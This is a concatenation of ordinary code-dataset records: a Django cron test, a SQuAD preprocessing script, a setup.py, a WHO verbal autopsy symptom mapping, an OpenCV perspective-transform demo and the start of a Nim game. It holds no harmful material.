User(email=\"host@example.com\", username=\"host@example.com\")\n self.host.save()\n self.participant = User(\n email=\"participant@example.com\", username=\"participant@example.com\"\n )\n self.participant.save()\n\n # events\n past_event = Event(\n host=self.host,\n start=datetime.datetime(1999, 5, 1, 20, 0, tzinfo=pytz.UTC),\n language=\"de\",\n )\n past_event.save()\n past_event.participants.add(self.participant)\n\n Event(\n host=self.host, start=datetime.datetime(2222, 5, 1, 20, 0, tzinfo=pytz.UTC),\n ).save()\n\n # mail template\n MailTemplate(type=\"join\", subject_template=\"test\", body_template=\"test\",).save()\n\n def test_check_mails_sent(self):\n call_command(\"cron\")\n self.assertEqual(len(mail.outbox), 2)\n\n def test_not_sent_twice(self):\n call_command(\"cron\")\n call_command(\"cron\")\n call_command(\"cron\")\n call_command(\"cron\")\n self.assertEqual(len(mail.outbox), 2)\n\n\nclass CheckSeminarsDeletedTestCase(TestCase):\n def setUp(self):\n self.host = User(email=\"host@example.com\", username=\"host@example.com\")\n self.host.save()\n\n def test_check_old_are_deleted(self):\n past_event = Event(\n host=self.host,\n start=datetime.datetime(1999, 5, 1, 20, 0, tzinfo=pytz.UTC),\n language=\"de\",\n )\n past_event.save()\n\n self.assertEqual(Event.objects.all().count(), 1)\n call_command(\"cron\")\n self.assertEqual(Event.objects.all().count(), 0)\n\n def test_check_current_not_deleted(self):\n past_event = Event(host=self.host, start=timezone.now(), language=\"de\")\n past_event.save()\n\n self.assertEqual(Event.objects.all().count(), 1)\n call_command(\"cron\")\n self.assertEqual(Event.objects.all().count(), 1)\n","sub_path":"arrange_videochat/tests/test_commands.py","file_name":"test_commands.py","file_ext":"py","file_size_in_byte":2302,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"516726800","text":"import re\nimport json\nimport spacy\nimport msgpack\nimport unicodedata\nimport numpy as np\nimport argparse\nimport collections\nimport multiprocessing\nfrom multiprocessing import Pool\nfrom utils import str2bool\nfrom tqdm import tqdm\nimport logging\nfrom char_embedding import CharEmbedding\n\nparser = argparse.ArgumentParser(\n description='Preprocessing data files, about 10 minitues to run.'\n)\nparser.add_argument('--wv_file', default='glove/glove.840B.300d.txt',\n help='path to word vector file.')\nparser.add_argument('--wv_dim', type=int, default=300,\n help='word vector dimension.')\nparser.add_argument('--wv_cased', type=str2bool, nargs='?',\n const=True, default=True,\n help='treat the words as cased or not.')\nparser.add_argument('--sort_all', action='store_true',\n help='sort the vocabulary by frequencies of all words. '\n 'Otherwise consider question words first.')\nparser.add_argument('--sample_size', type=int, default=0,\n help='size of sample data (for debugging).')\nparser.add_argument('--threads', type=int, default=multiprocessing.cpu_count(),\n help='number of threads for preprocessing.')\nparser.add_argument('--batch_size', type=int, default=64,\n help='batch size for multiprocess tokenizing and tagging.')\n\nargs = parser.parse_args()\ntrn_file = 'SQuAD/train-v1.1.json'\ndev_file = 'SQuAD/dev-v1.1.json'\nwv_file = args.wv_file #glove\nwv_dim = args.wv_dim #default = 300\n\n\nlogging.basicConfig(format='%(asctime)s %(message)s', level=logging.DEBUG,\n datefmt='%m/%d/%Y %I:%M:%S')\nlog = logging.getLogger(__name__)\n\nlog.info(vars(args))\nlog.info('start data preparing...')\n\n\ndef flatten_json(data_file, mode):\n \"\"\"Flatten each article in training data.\"\"\"\n with open(data_file) as f:\n data = json.load(f)['data']\n rows = []\n for article in data:\n for paragraph in article['paragraphs']:\n context = paragraph['context']\n for qa in paragraph['qas']:\n id_, question, answers = qa['id'], qa['question'], qa['answers']\n if mode == 'train':\n answer = answers[0]['text'] # in training data there's only one answer\n answer_start = answers[0]['answer_start'] # char level length\n answer_end = answer_start + len(answer) # char level lenght\n rows.append((id_, context, question, answer, answer_start, answer_end))\n else: # mode == 'dev'\n answers = [a['text'] for a in answers]\n rows.append((id_, context, question, answers))\n return rows\n\n\ntrain = flatten_json(trn_file, 'train')\ndev = flatten_json(dev_file, 'dev')\nlog.info('json data flattened.')\n\n\ndef clean_spaces(text):\n \"\"\"normalize spaces in a string.\"\"\"\n text = re.sub(r'\\s', ' ', text)\n return text\n\n\ndef normalize_text(text):\n return unicodedata.normalize('NFD', text)\n\nnlp = None\n\ndef init():\n \"\"\"initialize spacy in each process\"\"\"\n '''\n 'en': Noun chunks are \"base noun phrases\" – flat phrases that have a noun as their head.\n parser=False or disable=['parser'] : don't need any of the syntactic information,\n and will make spaCy load and run much faster.\n '''\n global nlp\n nlp = spacy.load('en', parser=False)\n\n\n#------------new functions for new features/embedding layers stuffs------------------\n## iob tag for noun phrases\ndef iob_np_tag(tag_list):\n '''\n function for creating iob_np\n @in: a list of POS tags\n @out: iob_np tags\n '''\n iob_np = ['o_np'] * len(tag_list)\n for i in range(len(tag_list)):\n if 'NN' in tag_list[i]:\n if iob_np[i-1] == 'b_np':\n iob_np[i] = 'i_np'\n elif iob_np[i-1] == 'i_np':\n iob_np[i] = 'i_np'\n else:\n iob_np[i] = 'b_np'\n i +=1\n return iob_np\n\n## iob tag for NER\ndef iob_ner_tag(tag_list):\n '''\n function for creating iob_ner\n @in: a list of ner tags\n @out: iob_ner tags\n '''\n iob_ner = ['o_ner'] * len(tag_list)\n for i in range(len(tag_list)):\n if len(tag_list[i]) != 0:\n if iob_ner[i-1] == 'b_ner':\n iob_ner[i] = 'i_ner'\n elif iob_ner[i-1] == 'i_ner':\n iob_ner[i] = 'i_ner'\n else:\n iob_ner[i] = 'b_ner'\n i +=1\n return iob_ner\n\n## Part of NER tag\nstop_words = ['a', 'an', 'the', 'of', 'for', '\\'s', 'For', 'The', 'A', 'An']\ndef part_ner_tag(tag_list, context_list):\n '''\n @in: a list of ner tags\n @out: part of ner tags\n '''\n ner_context = []\n part_ner = ['o_ner'] * len(tag_list)\n for i in range(len(tag_list)):\n if len(tag_list[i]) != 0 and context_list[i] not in stop_words:\n part_ner[i] = 'i_ner'\n ner_context.append(context_list[i])\n\n # combine lemma to ner_context list\n ner_context_str = ' '.join(ner_context)\n ner_context_ = nlp(ner_context_str)\n ner_context_lemma = [w.lemma_ if w.lemma_ != '-PRON-' else w.text.lower() for w in ner_context_]\n ner_context_all = ner_context_lemma + ner_context\n\n for j in range(len(context_list)):\n if context_list[j] in ner_context_all:\n part_ner[j] = 'i_ner'\n return part_ner\n#--------------------------------------------------------------------------------\n\ndef annotate(row):\n '''\n notice: the tagging feature only apply on context\n '''\n global nlp\n id_, context, question = row[:3]\n q_doc = nlp(clean_spaces(question))\n c_doc = nlp(clean_spaces(context))\n question_tokens = [normalize_text(w.text) for w in q_doc]\n context_tokens = [normalize_text(w.text) for w in c_doc]\n question_tokens_lower = [w.lower() for w in question_tokens]\n context_tokens_lower = [w.lower() for w in context_tokens]\n context_token_span = [(w.idx, w.idx + len(w.text)) for w in c_doc] # the lenghth of each tokens\n #for context the new features\n context_tags = [w.tag_ for w in c_doc] # POS tagging\n context_ents = [w.ent_type_ for w in c_doc] # NER tagging\n context_iob_np = iob_np_tag(context_tags) # iob_np\n context_iob_ner = iob_ner_tag(context_ents) #iob_ner\n context_part_ner = part_ner_tag(context_ents, context_tokens) #part_ner\n\n #for question the new features\n question_tags = [w.tag_ for w in q_doc] # POS tagging\n question_ents = [w.ent_type_ for w in q_doc] # NER tagging\n question_iob_np = iob_np_tag(question_tags) # iob_np\n question_iob_ner = iob_ner_tag(question_ents) #iob_ner\n\n question_lemma = {w.lemma_ if w.lemma_ != '-PRON-' else w.text.lower() for w in q_doc}\n # PRON is such as me/it/you\n # lemma_ : cats -> cat\n\n question_tokens_set = set(question_tokens)\n question_tokens_lower_set = set(question_tokens_lower)\n match_origin = [w in question_tokens_set for w in context_tokens]\n match_lower = [w in question_tokens_lower_set for w in context_tokens_lower]\n match_lemma = [(w.lemma_ if w.lemma_ != '-PRON-' else w.text.lower()) in question_lemma for w in c_doc]\n # term frequency in document\n counter_ = collections.Counter(context_tokens_lower)\n total = len(context_tokens_lower)\n # frequent feature\n context_tf = [counter_[w] / total for w in context_tokens_lower]\n # exact match feature refering to the paper\n context_features = list(zip(match_origin, match_lower, match_lemma, context_tf))\n if not args.wv_cased:\n context_tokens = context_tokens_lower\n question_tokens = question_tokens_lower\n return (id_, context_tokens, context_features, context_tags, context_ents, context_iob_np, context_iob_ner, context_part_ner,\n question_tags,question_ents,question_iob_np,question_iob_ner,\n question_tokens, context, context_token_span) + row[3:]\n\n################################\n## TODO: add more fetures here #\n################################\n\n\ndef index_answer(row):\n token_span = row[-4] #context_token_span\n starts, ends = zip(*token_span)\n answer_start = row[-2]\n answer_end = row[-1]\n try:\n return row[:-3] + (starts.index(answer_start), ends.index(answer_end))\n except ValueError:\n return row[:-3] + (None, None)\n\n# adding the created features to the train/dev data\n# with multiprocess(corresponding to number of cpu)\nwith Pool(args.threads, initializer=init) as p:\n train = list(tqdm(p.imap(annotate, train, chunksize=args.batch_size), total=len(train), desc='train'))\n dev = list(tqdm(p.imap(annotate, dev, chunksize=args.batch_size), total=len(dev), desc='dev '))\ntrain = list(map(index_answer, train))\ninitial_len = len(train)\ntrain = list(filter(lambda x: x[-1] is not None, train))\nlog.info('drop {} inconsistent samples.'.format(initial_len - len(train)))\nlog.info('tokens generated')\n\n\n# load vocabulary from word vector files (Glove)\nwv_vocab = set()\nwith open(wv_file) as f:\n for line in f:\n token = normalize_text(line.rstrip().split(' ')[0])\n wv_vocab.add(token)\nlog.info('glove vocab loaded.')\n\ndef build_vocab(questions, contexts):\n \"\"\"\n Build vocabulary sorted by global word frequency, or consider frequencies in questions first,\n which is controlled by `args.sort_all`.\n \"\"\"\n if args.sort_all:\n counter = collections.Counter(w for doc in questions + contexts for w in doc)\n vocab = sorted([t for t in counter if t in wv_vocab], key=counter.get, reverse=True)\n else:\n counter_q = collections.Counter(w for doc in questions for w in doc)\n counter_c = collections.Counter(w for doc in contexts for w in doc)\n counter = counter_c + counter_q\n vocab = sorted([t for t in counter_q if t in wv_vocab], key=counter_q.get, reverse=True)\n vocab += sorted([t for t in counter_c.keys() - counter_q.keys() if t in wv_vocab],\n key=counter.get, reverse=True)\n total = sum(counter.values())\n matched = sum(counter[t] for t in vocab)\n # out of vocb of pretrained glove\n log.info('vocab coverage {1}/{0} | OOV occurrence {2}/{3} ({4:.4f}%)'.format(\n len(counter), len(vocab), (total - matched), total, (total - matched) / total * 100))\n vocab.insert(0, \"\") # in question_id and context_id, the 0 means padding\n vocab.insert(1, \"\")\n return vocab, counter\n\n\nfull = train + dev\n# row[5] = question_tokens, row[1] = context_tokens\nvocab, counter = build_vocab([row[5] for row in full], [row[1] for row in full])\n\n#pos\ncounter_tag = collections.Counter(w for row in full for w in row[3]) #context_tags\nvocab_tag = sorted(counter_tag, key=counter_tag.get, reverse=True) # high rank with larger count\n\n#ner\ncounter_ent = collections.Counter(w for row in full for w in row[4])\nvocab_ent = sorted(counter_ent, key=counter_ent.get, reverse=True)\n\n#iob_np\ncounter_iob_np = collections.Counter(w for row in full for w in row[5])\nvocab_iob_np = sorted(counter_iob_np, key=counter_iob_np.get, reverse=True)\n\n#iob_ner\ncounter_iob_ner = collections.Counter(w for row in full for w in row[6])\nvocab_iob_ner = sorted(counter_iob_ner, key=counter_iob_ner.get, reverse=True)\n\n#part_ner\ncounter_part_ner = collections.Counter(w for row in full for w in row[7])\nvocab_part_ner = sorted(counter_part_ner, key=counter_part_ner.get, reverse=True)\n\n#question pos\ncounter_q_tag = collections.Counter(w for row in full for w in row[8]) #context_tags\nvocab_q_tag = sorted(counter_q_tag, key=counter_q_tag.get, reverse=True) # high rank with larger count\n\n#question ner\ncounter_q_ent = collections.Counter(w for row in full for w in row[9])\nvocab_q_ent = sorted(counter_q_ent, key=counter_q_ent.get, reverse=True)\n\n#question iob_np\ncounter_q_iob_np = collections.Counter(w for row in full for w in row[10])\nvocab_q_iob_np = sorted(counter_q_iob_np, key=counter_q_iob_np.get, reverse=True)\n\n#question iob_ner\ncounter_q_iob_ner = collections.Counter(w for row in full for w in row[11])\nvocab_q_iob_ner = sorted(counter_q_iob_ner, key=counter_q_iob_ner.get, reverse=True)\n\n\nw2id = {w: i for i, w in enumerate(vocab)}\ntag2id = {w: i for i, w in enumerate(vocab_tag)} # larger count(hight rank) with small index\nent2id = {w: i for i, w in enumerate(vocab_ent)}\niob_np2id = {w: i for i, w in enumerate(vocab_iob_np)}\niob_ner2id = {w: i for i, w in enumerate(vocab_iob_ner)}\npart_ner2id = {w: i for i, w in enumerate(vocab_part_ner)}\nq_tag2id = {w: i for i, w in enumerate(vocab_q_tag)}\nq_ent2id = {w: i for i, w in enumerate(vocab_q_ent)}\nq_iob_np2id = {w: i for i, w in enumerate(vocab_q_iob_np)}\nq_iob_ner2id = {w: i for i, w in enumerate(vocab_q_iob_ner)}\n\nlog.info('Vocabulary size: {}'.format(len(vocab)))\nlog.info('Found {} POS tags.'.format(len(vocab_tag))) #50\nlog.info('Found {} entity tags: {}'.format(len(vocab_ent), vocab_ent)) #19\nlog.info('Found {} iob_np tags.'.format(len(vocab_iob_np))) #3\nlog.info('Found {} iob_ner tags.'.format(len(vocab_iob_ner))) #3\nlog.info('Found {} part_ner tags.'.format(len(vocab_part_ner))) #2\n\nlog.info('Found {} question POS tags.'.format(len(vocab_q_tag))) #50\nlog.info('Found {} question entity tags: {}'.format(len(vocab_q_tag), vocab_q_tag)) #19\nlog.info('Found {} question iob_np tags.'.format(len(vocab_q_iob_np))) #3\nlog.info('Found {} question iob_ner tags.'.format(len(vocab_q_iob_ner))) #3\n\n\ndef to_id(row, unk_id=1):\n context_tokens = row[1]\n context_features = row[2]\n context_tags = row[3]\n context_ents = row[4]\n context_iob_np = row[5]\n context_iob_ner = row[6]\n context_part_ner = row[7]\n\n q_tags = row[8]\n q_ents = row[9]\n q_iob_np = row[10]\n q_iob_ner = row[11]\n question_tokens = row[12]\n\n context_ids = [w2id[w] if w in w2id else unk_id for w in context_tokens]\n tag_ids = [tag2id[w] for w in context_tags]\n ent_ids = [ent2id[w] for w in context_ents]\n iob_np_ids = [iob_np2id[w] for w in context_iob_np]\n iob_ner_ids = [iob_ner2id[w] for w in context_iob_ner]\n part_ner_ids = [part_ner2id[w] for w in context_part_ner]\n\n question_ids = [w2id[w] if w in w2id else unk_id for w in question_tokens]\n q_tag_ids = [q_tag2id[w] for w in q_tags]\n q_ent_ids = [q_ent2id[w] for w in q_ents]\n q_iob_np_ids = [q_iob_np2id[w] for w in q_iob_np]\n q_iob_ner_ids = [q_iob_ner2id[w] for w in q_iob_ner]\n\n return (row[0], context_ids, context_features, tag_ids, ent_ids, iob_np_ids, iob_ner_ids, part_ner_ids,\n q_tag_ids, q_ent_ids, q_iob_np_ids, q_iob_ner_ids, question_ids) + row[13:]\n\n\ntrain = list(map(to_id, train))\ndev = list(map(to_id, dev))\nlog.info('converted to ids.')\n\n# Glove emebedding\nvocab_size = len(vocab)\nembeddings = np.zeros((vocab_size, wv_dim))\nembed_counts = np.zeros(vocab_size)\nembed_counts[:2] = 1 # PADDING & UNK\nwith open(wv_file) as f:\n for line in f:\n elems = line.rstrip().split(' ')\n token = normalize_text(elems[0])\n if token in w2id:\n word_id = w2id[token]\n embed_counts[word_id] += 1\n embeddings[word_id] += [float(v) for v in elems[1:]] #sum glove vector for all count\nembeddings /= embed_counts.reshape((-1, 1)) # take mean\nlog.info('got glove embedding matrix.')\n\n# new embedding: char-level embedding\ncharembedding = CharEmbedding()\nvocab_size = len(vocab)\nchar_embeddings = np.zeros((vocab_size, 100))\nchar_embed_counts = np.zeros(vocab_size)\nchar_embed_counts[:2] = 1 # PADDING & UNK\nfor token in w2id:\n word_id = w2id[token]\n char_embed_counts[word_id] += 1\n char_embeddings[word_id] += charembedding.emb(token)\nchar_embeddings /= char_embed_counts.reshape((-1, 1))\nlog.info('got character embedding matrix.')\n\n\n# concatenate glove with charembedding to 400 dim word vector embedding layer\nglove_char_embedding = np.concatenate((embeddings, char_embeddings), axis=1)\nlog.info('got concatenation embedding matrix.')\n\n#------------------Save-----------------------------\n\nmeta = {\n 'vocab': vocab,\n 'vocab_tag': vocab_tag,\n 'vocab_ent': vocab_ent,\n 'embedding': embeddings.tolist(),\n 'char_embedding': char_embeddings.tolist(), # in the case we need train embedding using pretrained char-level weights\n 'glove_char_embedding': glove_char_embedding.tolist(),\n 'vocab_iob_np': vocab_iob_np,\n 'vocab_iob_ner': vocab_iob_ner,\n 'vocab_part_ner': vocab_part_ner,\n 'vocab_q_tag': vocab_q_tag,\n 'vocab_q_ent':vocab_q_ent,\n 'vocab_q_iob_np': vocab_q_iob_np,\n 'vocab_q_iob_ner': vocab_q_iob_ner\n}\n\nwith open('SQuAD/meta.msgpack', 'wb') as f:\n msgpack.dump(meta, f)\n\nresult = {\n 'train': train,\n 'dev': dev\n}\n# train: id, context_id, context_features, tag_id, ent_id, iob_np_ids, iob_ner_ids,part_ner_ids,\n# question_id, context, context_token_span, answer_start, answer_end\n# dev: id, context_id, context_features, tag_id, ent_id, iob_np_ids, iob_ner_ids, part_ner_ids,\n# question_id, context, context_token_span, answer\nwith open('SQuAD/data.msgpack', 'wb') as f:\n msgpack.dump(result, f)\nif args.sample_size:\n sample = {\n 'train': train[:args.sample_size],\n 'dev': dev[:args.sample_size]\n }\n with open('SQuAD/sample.msgpack', 'wb') as f:\n msgpack.dump(sample, f)\nlog.info('saved to disk.')\n","sub_path":"src/.ipynb_checkpoints/prepro-checkpoint.py","file_name":"prepro-checkpoint.py","file_ext":"py","file_size_in_byte":17276,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"551618565","text":"from setuptools import setup, find_packages\r\n\r\nVERSION = \"0.0.1\"\r\n\r\nsetup(\r\n name=\"easyplotpy\",\r\n version=VERSION,\r\n url=\"\",\r\n author=\"Feda Curic\",\r\n author_email=\"feda.curic@gmail.com\",\r\n description=\"easyplotpy\",\r\n packages=find_packages(),\r\n install_requires=[\"\"],\r\n)","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":294,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"479401310","text":"MAPPING = [\n {\n 'sid': 'History of asthma',\n 'symptom': 's1',\n 'Id10135': 'yes',\n },\n # No corresponding data for s2: history of arthritis\n # { # Not on short form\n # 'sid': 'History of arthritis',\n # 'symptom': 's2',\n # 'adult_1_1b': 'yes'\n # },\n {\n 'sid': 'History of cancer',\n 'symptom': 's3',\n 'Id10137': 'yes',\n },\n {\n 'sid': 'History of COPD',\n 'symptom': 's4',\n 'Id10138': 'yes',\n },\n # { # Not on short form\n # 'sid': 'History of dementia',\n # 'symptom': 's5',\n # 'Id10139': 'yes',\n # },\n # { # Not on short form\n # 'sid': 'History of depression',\n # 'symptom': 's6',\n # 'Id10140': 'yes',\n # },\n {\n 'sid': 'History of diabetes',\n 'symptom': 's7',\n 'Id10134': 'yes',\n },\n {\n 'sid': 'History of epilepsy',\n 'symptom': 's8',\n 'Id10136': 'yes',\n },\n {\n 'sid': 'History of heart disease',\n 'symptom': 's9',\n 'Id10133': 'yes',\n },\n # { # Not on short form\n # 'sid': 'History of hypertension',\n # 'symptom': 's10',\n # 'Id10132': 'yes',\n # },\n # No corresponding data for s11: history of obesity\n # { # Not on short form\n # 'sid': 'History of obesity',\n # 'symptom': 's11',\n # 'adult_1_1k': 'yes',\n # },\n {\n 'sid': 'History of stroke',\n 'symptom': 's12',\n 'Id10141': 'yes',\n },\n {\n 'sid': 'History of tuberculosis',\n 'symptom': 's13',\n 'Id10125': 'yes',\n },\n {\n 'sid': 'History of AIDS',\n 'symptom': 's14',\n 'Id10127': 'yes',\n },\n {\n 'sid': 'Fever',\n 'symptom': 's16',\n 'Id10147': 'yes'\n },\n # No corresponding data for s20: fever with sweating\n # { # Not on the short form\n # 'sid': 'Fever with sweating',\n # 'symptom': 's20',\n # 'adult_2_6': 'yes',\n # },\n {\n 'sid': 'Rash',\n 'symptom': 's21',\n 'Id10233': 'yes',\n },\n {\n 'sid': 'Sores',\n 'symptom': 's27',\n 'Id10228': 'yes',\n },\n {\n 'sid': 'Sores ooze pus',\n 'symptom': 's28',\n 'Id10229': 'yes',\n },\n # No corresponding data for s29: Itching\n # {\n # 'sid': 'Itching',\n # 'symptom': 's29',\n # 'adult_2_12': 'yes',\n # },\n {\n 'sid': 'Foot ulcer',\n 'symptom': 's30',\n 'Id10230': 'yes',\n },\n {\n 'sid': 'Foot ulcer ooze pus',\n 'symptom': 's31',\n 'Id10231': 'yes',\n },\n # No corresponding data for s33: Pins and needles in feet\n # { # Not on the short form\n # 'sid': 'Pins and needles in feet',\n # 'symptom': 's33',\n # 'adult_2_16': 'yes',\n # },\n # No corresponding data for s34: Blue lips\n # { # Not on the short form\n # 'sid': 'Blue lips',\n # 'symptom': 's34',\n # 'adult_2_17': 'yes',\n # },\n # { # Not on the short form\n # 'sid': 'Lost weight',\n # 'symptom': 's35',\n # 'Id10243': 'yes',\n # },\n # { # Not on the short form\n # 'sid': 'Pale',\n # 'symptom': 's37',\n # 'Id10268': 'yes',\n # },\n {\n 'sid': 'Yellow eyes',\n 'symptom': 's38',\n 'Id10265': 'yes',\n },\n # { # Not on the short form\n # 'sid': 'Ankle swelling',\n # 'symptom': 's40',\n # 'Id10249': 'yes',\n # },\n {\n 'sid': 'Puffy face',\n 'symptom': 's42',\n 'Id10247': 'yes',\n },\n {\n 'sid': 'Puffy body',\n 'symptom': 's44',\n 'Id10252': 'yes',\n },\n {\n 'sid': 'Lump in neck',\n 'symptom': 's46',\n 'Id10255': 'yes',\n },\n {\n 'sid': 'Lump in armpit',\n 'symptom': 's47',\n 'Id10256': 'yes',\n },\n {\n 'sid': 'Lump in groin',\n 'symptom': 's48',\n 'Id10257': 'yes',\n },\n {\n 'sid': 'Cough',\n 'symptom': 's49',\n 'Id10153': 'yes',\n },\n {\n 'sid': 'Cough produce sputum',\n 'symptom': 's51',\n 'Id10155': 'yes',\n },\n {\n 'sid': 'Cough blood',\n 'symptom': 's52',\n 'Id10157': 'yes',\n },\n {\n 'sid': 'Difficulty breathing',\n 'symptom': 's53',\n 'Id10159': 'yes',\n },\n # { # Not on the short form\n # 'sid': 'Fast breathing',\n # 'symptom': 's58',\n # 'Id10166': 'yes',\n # },\n # for some reason 'wheezing' is an endorsement of this question\n # { # Not on the short form\n # 'sid': 'Wheeze',\n # 'symptom': 's60',\n # 'Id10173_a': 'wheezing',\n # },\n {\n 'sid': 'Chest pain',\n 'symptom': 's61',\n 'Id10174': 'yes',\n },\n # No corresponding data for s63: pain during physical activity\n # { # Not on the short form\n # 'sid': 'Pain during physical activity',\n # 'symptom': 's63',\n # 'adult_2_45': 'yes',\n # },\n\n {\n 'sid': 'Diarrhea',\n 'symptom': 's66',\n 'Id10181': 'yes',\n },\n # No corresponding data for s68: change in bowel habits\n # {\n # 'sid': 'Change in bowel habits',\n # 'symptom': 's68',\n # 'adult_2_49': 'yes',\n # },\n {\n 'sid': 'Blood in stool',\n 'symptom': 's69',\n 'Id10186': 'yes',\n },\n {\n 'sid': 'Blood in stool until death',\n 'symptom': 's70',\n 'Id10187': 'yes',\n },\n {\n 'sid': 'Stop urinating',\n 'symptom': 's71',\n 'Id10224': 'yes',\n },\n {\n 'sid': 'Vomit',\n 'symptom': 's72',\n 'Id10189': 'yes',\n },\n {\n 'sid': 'Blood in vomit',\n 'symptom': 's74',\n 'Id10191': 'yes',\n },\n {\n 'sid': 'Vomit black',\n 'symptom': 's75',\n 'Id10192': 'yes',\n },\n {\n 'sid': 'Difficulty swallowing',\n 'symptom': 's76',\n 'Id10261': 'yes',\n },\n {\n 'sid': 'Pain on swallowing',\n 'symptom': 's79',\n 'Id10264': 'yes',\n },\n {\n 'sid': 'Belly pain',\n 'symptom': 's80',\n 'Id10194': 'yes',\n },\n {\n 'sid': 'Protruding belly',\n 'symptom': 's84',\n 'Id10200': 'yes',\n },\n {\n 'sid': 'Mass in belly',\n 'symptom': 's87',\n 'Id10204': 'yes',\n },\n # { # Not on the short form\n # 'sid': 'Headache',\n # 'symptom': 's89',\n # 'Id10207': 'yes',\n # },\n {\n 'sid': 'Stiff neck',\n 'symptom': 's92',\n 'Id10208': 'yes',\n },\n {\n 'sid': 'Lost consciousness',\n 'symptom': 's94',\n 'Id10214': 'yes',\n },\n {\n 'sid': 'Unconscious until death',\n 'symptom': 's97',\n 'Id10218': 'yes',\n },\n # { # Not on the short form\n # 'sid': 'Confusion',\n # 'symptom': 's98',\n # 'Id10212': 'yes',\n # },\n # No corresponding data for s101: Memory loss\n # { # Not on the short form\n # 'sid': 'Memory loss',\n # 'symptom': 's101',\n # 'adult_2_81': 'yes',\n # },\n {\n 'sid': 'Convulsions',\n 'symptom': 's102',\n 'Id10219': 'yes',\n },\n {\n 'sid': 'Unconscious after convulsions',\n 'symptom': 's104',\n 'Id10222': 'yes',\n },\n {\n 'sid': 'Paralyzed',\n 'symptom': 's105',\n 'Id10258': 'yes',\n },\n {\n 'sid': 'Lump in breast',\n 'symptom': 's118',\n 'Id10294': 'yes',\n },\n {\n 'sid': 'Ulcer in breast',\n 'symptom': 's119',\n 'Id10295': 'yes',\n },\n {\n 'sid': 'Periods stop because of menopause',\n 'symptom': 's120',\n 'Id10299': 'yes',\n },\n {\n 'sid': 'Post menopausal bleeding',\n 'symptom': 's121',\n 'Id10300': 'yes',\n },\n {\n 'sid': 'Intermenstrual bleeding',\n 'symptom': 's122',\n 'Id10297': 'yes',\n },\n {\n 'sid': 'Excessive vaginal bleeding',\n 'symptom': 's123',\n 'Id10301': 'yes',\n },\n {\n 'sid': 'Period overdue at death',\n 'symptom': 's124',\n 'Id10302': 'yes',\n },\n {\n 'sid': 'Sharp belly pain',\n 'symptom': 's126',\n 'Id10304': 'yes',\n },\n {\n 'sid': 'Pregnant at death',\n 'symptom': 's127',\n 'Id10305': 'yes',\n },\n {\n 'sid': 'Die during abortion',\n 'symptom': 's129',\n 'Id10335': 'yes',\n },\n {\n 'sid': 'Bleeding while pregnant',\n 'symptom': 's130',\n 'Id10325': 'yes',\n },\n {\n 'sid': 'Excessive bleeding during labor/delivery',\n 'symptom': 's131',\n 'Id10328': 'yes',\n },\n {\n 'sid': 'Die during labor/delivery',\n 'symptom': 's132',\n 'Id10312': 'yes',\n },\n {\n 'sid': 'Die within 6 weeks of abortion',\n 'symptom': 's134',\n 'Id10336': 'yes',\n },\n {\n 'sid': 'Die within 6 weeks of childbirth',\n 'symptom': 's135',\n 'Id10315': 'yes',\n },\n {\n 'sid': 'Excessive bleeding after delivery/abortion',\n 'symptom': 's136',\n 'Id10329': 'yes',\n },\n # { # Not on the short form\n # 'sid': 'Bad smelling vaginal discharge',\n # 'symptom': 's137',\n # 'Id10398': 'yes',\n # },\n {\n 'sid': 'Use tobacco',\n 'symptom': 's138',\n 'Id10412': 'yes',\n },\n # { # Not on the short form\n # 'sid': 'Drink alcohol',\n # 'symptom': 's149',\n # 'Id10411': 'yes',\n # },\n {\n 'sid': 'Free text: Chronic Kidney Disease',\n 'symptom': 's999999',\n 'Id10477': 'Chronic_kidney_disease',\n },\n {\n 'sid': 'Free text: Dialysis',\n 'symptom': 's999952',\n 'Id10477': 'Dialysis Fever',\n },\n {\n 'sid': 'Free text: Fever',\n 'symptom': 's999969',\n 'Id10477': 'Dialysis Fever',\n },\n {\n 'sid': 'Free text: Heart_attack',\n 'symptom': 's99994',\n 'Id10477': 'Heart_attack Jaundice Liver_failure',\n },\n {\n 'sid': 'Free text: Jaundice',\n 'symptom': 's999997',\n 'Id10477': 'Heart_attack Jaundice Liver_failure',\n },\n {\n 'sid': 'Free text: Liver_failure',\n 'symptom': 's9999104',\n 'Id10477': 'Heart_attack Jaundice Liver_failure',\n },\n]\n\n","sub_path":"test/mapping/who2016_adult_mapping.py","file_name":"who2016_adult_mapping.py","file_ext":"py","file_size_in_byte":10389,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"303162170","text":"import cv2\nimport numpy as np\nimport matplotlib as mat\nfrom matplotlib import pyplot as plt\n\n\ncap = cv2.VideoCapture(0)\n\nwhile True:\n _, frame = cap.read()\n\n # EDGES OF PAPER\n cv2.circle(frame, (155, 117), 5, (0, 0, 255), -1)\n cv2.circle(frame, (457, 103), 5, (0, 0, 255), -1)\n cv2.circle(frame, (50, 475), 5, (0, 0, 255), -1)\n cv2.circle(frame, (565, 455), 5, (0, 0, 255), -1)\n\n # ORDER MATTERS: TopLeft , TopRight, BottomLeft, BottomRight\n pts1 = np.float32([[155, 117], [457, 103], [50, 475], [565, 455]])\n pts2 = np.float32([[0, 0], [500, 0], [0, 600], [500, 600]])\n matrix = cv2.getPerspectiveTransform(pts1, pts2)\n\n result = cv2.warpPerspective(frame, matrix, (500, 600))\n\n cv2.imshow(\"Frame\", frame)\n cv2.imshow(\"Perspective Transformation\", result)\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n\n\ncap.release()\ncv2.destroyAllWindows()\n","sub_path":"ImageProcessing/PerspectiveTransformation.py","file_name":"PerspectiveTransformation.py","file_ext":"py","file_size_in_byte":892,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"194622603","text":"from nim_v2_modules import *\n\nplayer1 = input(\"Player 1: \")\nplayer2 = input(\"Player 2: \")\n\nplayAgain = True\n\nwhile playAgain == True:\n\n board = startBoard()\n\n playerTurn = player2\n\n while len(board) > 0:\n playerTurn = nextPlayer(playerTurn, player1, player2)\n\n board = clean(board)\n print_board(board)\n\n board = clean(board)\n board = remove_sticks(board, playerTurn)\n\n board = clean(board)\n\n print(playerTurn, \"wins!!!\")\n\n playAgain = integer(\"Play again? Yes (1) or No (2): 